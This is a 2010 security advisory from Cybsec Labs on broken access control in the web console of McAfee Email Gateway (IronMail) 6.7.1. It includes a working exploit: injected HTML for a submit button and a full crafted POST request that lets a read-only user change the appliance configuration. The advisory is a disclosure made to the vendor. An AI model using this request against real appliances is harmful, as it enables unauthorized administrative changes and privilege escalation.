Advisory Name: Web Administration Broken Access Control in McAfee Email Gateway (formerly IronMail)

Vulnerability Class: Broken Access Control

Release Date: May 19, 2010

Affected Applications: Secure Mail (Ironmail) ver.6.7.1

Affected Platforms: FreeBSD 6.2 / Apache-Coyote 1.1

Local / Remote: Local

Severity: Medium – CVSS: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Nahuel Grisolía from Cybsec Labs

Vendor Status: Vendor was informed. A patch is being developed.

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

Ironmail was found to allow Web Access users to execute arbitrary actions with Write rights, due to an improper profile check.

Exploit:

* In order to save changes in the Web Access Console, if the user can only READ, simply add the following piece of HTML code within the Form statement of the server response using, for example, a local proxy:

```
<tr class="buttonrow">
<td colspan="4" align="center">
<input type="submit" name="submitValue" value="Submit" title="Submit">
</td>
</tr>
```

This new button will enable you to complete the text boxes and submit the changes.

Also, a especially crafted POST method can be created to execute the same action. For example, in order to modify the Disclaimer, a logged-in user (without READ or WRITE privileges on that module) can execute the following method:

POST /admin/systemWebAdminConfig.do?**method=save**&pageId=13&isMenuToggled=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
Referer: https://XXX.XXX.XXX.XXX:XXXXX/admin/systemWebAdminConfig.do?method=init&isMenuToggled=1&pageId=13
Accept-Language: es
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: XXX.XXX.XXX.XXX:XXXXX
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:CTRGT=[YOUR COOKIE HERE]; CTSecureToken=[YOUR COOKIE HERE]; tabbedMenuSelected=13; itemToHighlight=https%3A//XXX.XXX.XXX.XXX%3AXXXXX/admin/systemWebAdminConfig.do%3Fmethod%3Dinit%26isMenuToggled%3D1%26pageId%3D13; menusToExpand=ConfigurationMenu%2CCertificateManagementMenu%2CWebAdminConfigurationMenu%2C; JSESSIONID=[YOUR COOKIE HERE]
Content-Length: 2650

pageId=13&vipId=0&vipBased=0&rows%5B0%5D.attr_name=gui_log_level&rows%5B0%5D.attr_type=12&rows%5B0%5D.attr_validate=30060003%3A1%2C30060004%3A4%2C30060005%3A5%2C30060006%3A6&rows%5B0%5D.attr_validate_str=30060003%3A1%2C30060004%3A4%2C30060005%3A5%2C30060006%3A6&rows%5B0%5D.attr_depends=&rows%5B0%5D.is_mult_val=0&rows%5B0%5D.lang_tag_id_dv=2000003.displayValue&rows%5B0%5D.is_ascii_only=0&rows%5B0%5D.proc_id=90&rows%5B0%5D.attr_value_clone=4&rows%5B0%5D.attr_value=4&rows%5B1%5D.attr_name=gui_timeout&rows%5B1%5D.attr_type=2&rows%5B1%5D.attr_validate=%5B1-30%5D&rows%5B1%5D.attr_validate_str=%5B1-30%5D&rows%5B1%5D.attr_depends=&rows%5B1%5D.is_mult_val=0&rows%5B1%5D.lang_tag_id_dv=2001014.displayValue&rows%5B1%5D.is_ascii_only=0&rows%5B1%5D.proc_id=90&rows%5B1%5D.attr_value_clone=30&rows%5B1%5D.attr_value=30&rows%5B2%5D.attr_name=auto_refresh&rows%5B2%5D.attr_type=2&rows%5B2%5D.attr_validate=%5B1-30%5D&rows%5B2%5D.attr_validate_str=%5B1-30%5D&rows%5B2%5D.attr_depends=&rows%5B2%5D.is_mult_val=0&rows%5B2%5D.lang_tag_id_dv=2001017.displayValue&rows%5B2%5D.is_ascii_only=0&rows%5B2%5D.proc_id=90&rows%5B2%5D.attr_value_clone=10&rows%5B2%5D.attr_value=10&rows%5B3%5D.attr_name=enable_login_disclaimer_text&rows%5B3%5D.attr_type=5&rows%5B3%5D.attr_validate=&rows%5B3%5D.attr_validate_str=&rows%5B3%5D.attr_depends=&rows%5B3%5D.is_mult_val=0&rows%5B3%5D.lang_tag_id_dv=2001044.displayValue&rows%5B3%5D.is_ascii_only=0&rows%5B3%5D.proc_id=90&rows%5B3%5D.attr_value_clone=true&rows%5B3%5D.attr_value=true&rows%5B4%5D.attr_name=login_disclaimer_text&rows%5B4%5D.attr_type=19&rows%5B4%5D.attr_validate=&rows%5B4%5D.attr_validate_str=&rows%5B4%5D.attr_depends=enable_login_disclaimer_text&rows%5B4%5D.is_mult_val=0&rows%5B4%5D.lang_tag_id_dv=2001045.displayValue&rows%5B4%5D.is_ascii_only=0&rows%5B4%5D.proc_id=90&rows%5B4%5D.attr_value_clone=**********

**********%0D%0A%22NEW DISCLAIMER.%22%0D%0A**********&rows%5B4%5D.attr_value=**********%0D%0A%22NEW DISCLAIMER.%22%0D%0A**********&submitValue=Submit

Impact:

Users with Web login access who have a vulnerable version of the appliance, can execute arbitrary actions with Write rights overwriting any property and configuration. Also, a new admin user might be added.

Vendor Response: Vendor has confirmed the vulnerability.

Contact Information:

For more information regarding the vulnerability feel free to contact Cybsec Labs at
cybseclabs <at> cybsec <dot> com

About CYBSEC S.A. Security Systems

Since 1996 CYBSEC S.A. is devoted exclusively to provide professional services specialized in Computer Security. More than 150 clients around the globe validate our quality and professionalism.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, mantaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuosly researching new defense and attack techiniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com